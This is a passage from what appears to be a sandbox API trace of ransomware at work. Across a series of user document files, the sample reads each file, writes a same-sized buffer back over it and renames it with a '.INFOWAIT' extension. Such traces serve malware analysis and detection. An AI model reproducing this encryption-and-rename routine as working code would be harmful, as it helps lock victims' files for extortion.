lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\hs9eu0cg_VHy7\\FiwjPlFCBQK4Eudei\\4aIc13i42g6djkDS.docx", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\hs9eu0cg_VHy7\\FiwjPlFCBQK4Eudei\\4aIc13i42g6djkDS.docx.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\hs9eu0cg_VHy7\\FiwjPlFCBQK4Eudei\\4aIc13i42g6djkDS.docx.INFOWAIT" [0118.978] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\hs9eu0cg_VHy7\\FiwjPlFCBQK4Eudei\\4aIc13i42g6djkDS.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\dkb64er\\hs9eu0cg_vhy7\\fiwjplfcbqk4eudei\\4aic13i42g6djkds.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\hs9eu0cg_VHy7\\FiwjPlFCBQK4Eudei\\4aIc13i42g6djkDS.docx.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\dkb64er\\hs9eu0cg_vhy7\\fiwjplfcbqk4eudei\\4aic13i42g6djkds.docx.infowait")) returned 1 [0118.981] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.982] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.982] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0118.982] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\hs9eu0cg_VHy7\\FiwjPlFCBQK4Eudei\\S6KMJ lP85NJg.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\dkb64er\\hs9eu0cg_vhy7\\fiwjplfcbqk4eudei\\s6kmj lp85njg.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0118.983] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xe9f4 [0118.983] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0118.983] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.983] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xe9f4, lpOverlapped=0x0) returned 1 [0118.990] VirtualAlloc (lpAddress=0x0, dwSize=0xe9f4, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0118.996] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.996] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xe9f4, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xe9f4, lpOverlapped=0x0) returned 1 [0118.996] CloseHandle (hObject=0xad4) returned 1 [0119.002] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\hs9eu0cg_VHy7\\FiwjPlFCBQK4Eudei\\S6KMJ lP85NJg.ppt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\hs9eu0cg_VHy7\\FiwjPlFCBQK4Eudei\\S6KMJ lP85NJg.ppt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\hs9eu0cg_VHy7\\FiwjPlFCBQK4Eudei\\S6KMJ lP85NJg.ppt" [0119.002] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\hs9eu0cg_VHy7\\FiwjPlFCBQK4Eudei\\S6KMJ lP85NJg.ppt", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\hs9eu0cg_VHy7\\FiwjPlFCBQK4Eudei\\S6KMJ lP85NJg.ppt.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\hs9eu0cg_VHy7\\FiwjPlFCBQK4Eudei\\S6KMJ lP85NJg.ppt.INFOWAIT" [0119.002] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\hs9eu0cg_VHy7\\FiwjPlFCBQK4Eudei\\S6KMJ lP85NJg.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\dkb64er\\hs9eu0cg_vhy7\\fiwjplfcbqk4eudei\\s6kmj lp85njg.ppt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\hs9eu0cg_VHy7\\FiwjPlFCBQK4Eudei\\S6KMJ lP85NJg.ppt.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\dkb64er\\hs9eu0cg_vhy7\\fiwjplfcbqk4eudei\\s6kmj lp85njg.ppt.infowait")) returned 1 [0119.012] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.013] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.014] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0119.014] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\hs9eu0cg_VHy7\\MGAfBc25T.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\dkb64er\\hs9eu0cg_vhy7\\mgafbc25t.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0119.014] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xd01e [0119.014] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0119.015] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.015] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xd01e, lpOverlapped=0x0) returned 1 [0119.018] VirtualAlloc (lpAddress=0x0, dwSize=0xd01e, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0119.023] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.023] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xd01e, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xd01e, lpOverlapped=0x0) returned 1 [0119.024] CloseHandle (hObject=0xad4) returned 1 [0119.026] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\hs9eu0cg_VHy7\\MGAfBc25T.ots" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\hs9eu0cg_VHy7\\MGAfBc25T.ots") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\hs9eu0cg_VHy7\\MGAfBc25T.ots" [0119.026] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\hs9eu0cg_VHy7\\MGAfBc25T.ots", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\hs9eu0cg_VHy7\\MGAfBc25T.ots.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\hs9eu0cg_VHy7\\MGAfBc25T.ots.INFOWAIT" [0119.026] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\hs9eu0cg_VHy7\\MGAfBc25T.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\dkb64er\\hs9eu0cg_vhy7\\mgafbc25t.ots"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\hs9eu0cg_VHy7\\MGAfBc25T.ots.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\dkb64er\\hs9eu0cg_vhy7\\mgafbc25t.ots.infowait")) returned 1 [0119.027] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.028] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.029] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0119.029] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\hs9eu0cg_VHy7\\pplpY8py2zNIuuEmOh7.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\dkb64er\\hs9eu0cg_vhy7\\pplpy8py2zniuuemoh7.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0119.030] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x168c0 [0119.030] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0119.030] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.030] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x168c0, lpOverlapped=0x0) returned 1 [0119.034] VirtualAlloc (lpAddress=0x0, dwSize=0x168c0, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0119.042] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.042] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x168c0, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x168c0, lpOverlapped=0x0) returned 1 [0119.043] CloseHandle (hObject=0xad4) returned 1 [0119.046] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\hs9eu0cg_VHy7\\pplpY8py2zNIuuEmOh7.pptx" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\hs9eu0cg_VHy7\\pplpY8py2zNIuuEmOh7.pptx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\hs9eu0cg_VHy7\\pplpY8py2zNIuuEmOh7.pptx" [0119.046] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\hs9eu0cg_VHy7\\pplpY8py2zNIuuEmOh7.pptx", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\hs9eu0cg_VHy7\\pplpY8py2zNIuuEmOh7.pptx.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\hs9eu0cg_VHy7\\pplpY8py2zNIuuEmOh7.pptx.INFOWAIT" [0119.047] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\hs9eu0cg_VHy7\\pplpY8py2zNIuuEmOh7.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\dkb64er\\hs9eu0cg_vhy7\\pplpy8py2zniuuemoh7.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\hs9eu0cg_VHy7\\pplpY8py2zNIuuEmOh7.pptx.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\dkb64er\\hs9eu0cg_vhy7\\pplpy8py2zniuuemoh7.pptx.infowait")) returned 1 [0119.047] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.048] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.049] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0119.049] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\hs9eu0cg_VHy7\\shTUZEa.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\dkb64er\\hs9eu0cg_vhy7\\shtuzea.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0119.049] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xebc2 [0119.049] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0119.050] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.050] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xebc2, lpOverlapped=0x0) returned 1 [0119.056] VirtualAlloc (lpAddress=0x0, dwSize=0xebc2, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0119.062] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.062] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xebc2, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xebc2, lpOverlapped=0x0) returned 1 [0119.063] CloseHandle (hObject=0xad4) returned 1 [0119.066] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\hs9eu0cg_VHy7\\shTUZEa.ppt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\hs9eu0cg_VHy7\\shTUZEa.ppt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\hs9eu0cg_VHy7\\shTUZEa.ppt" [0119.066] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\hs9eu0cg_VHy7\\shTUZEa.ppt", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\hs9eu0cg_VHy7\\shTUZEa.ppt.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\hs9eu0cg_VHy7\\shTUZEa.ppt.INFOWAIT" [0119.066] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\hs9eu0cg_VHy7\\shTUZEa.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\dkb64er\\hs9eu0cg_vhy7\\shtuzea.ppt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\hs9eu0cg_VHy7\\shTUZEa.ppt.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\dkb64er\\hs9eu0cg_vhy7\\shtuzea.ppt.infowait")) returned 1 [0119.067] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.068] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.069] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0119.069] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\Kgbiq-5bFu_gdXcNS.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\dkb64er\\kgbiq-5bfu_gdxcns.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0119.069] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x9026 [0119.069] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0119.069] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.069] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x9026, lpOverlapped=0x0) returned 1 [0119.077] VirtualAlloc (lpAddress=0x0, dwSize=0x9026, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0119.080] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.080] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x9026, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x9026, lpOverlapped=0x0) returned 1 [0119.081] CloseHandle (hObject=0xad4) returned 1 [0119.082] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\Kgbiq-5bFu_gdXcNS.csv" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\Kgbiq-5bFu_gdXcNS.csv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\Kgbiq-5bFu_gdXcNS.csv" [0119.082] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\Kgbiq-5bFu_gdXcNS.csv", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\Kgbiq-5bFu_gdXcNS.csv.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\Kgbiq-5bFu_gdXcNS.csv.INFOWAIT" [0119.082] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\Kgbiq-5bFu_gdXcNS.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\dkb64er\\kgbiq-5bfu_gdxcns.csv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\Kgbiq-5bFu_gdXcNS.csv.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\dkb64er\\kgbiq-5bfu_gdxcns.csv.infowait")) returned 1 [0119.083] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.084] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.085] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0119.085] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\pjRRywz moQN7y4K4.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\c30-g7i4ib7y-vxrtcg6\\yqgagd0mq69ziz\\dkb64er\\pjrrywz moqn7y4k4.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0119.085] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1f95 [0119.085] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0119.085] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.085] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x1f95, lpOverlapped=0x0) returned 1 [0119.089] VirtualAlloc (lpAddress=0x0, dwSize=0x1f95, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0119.090] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.090] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x1f95, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x1f95, lpOverlapped=0x0) returned 1 [0119.090] CloseHandle (hObject=0xad4) returned 1 [0119.091] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\c30-G7I4Ib7Y-VxrTcg6\\yqgAGD0mq69zIZ\\Dkb64er\\pjRRywz 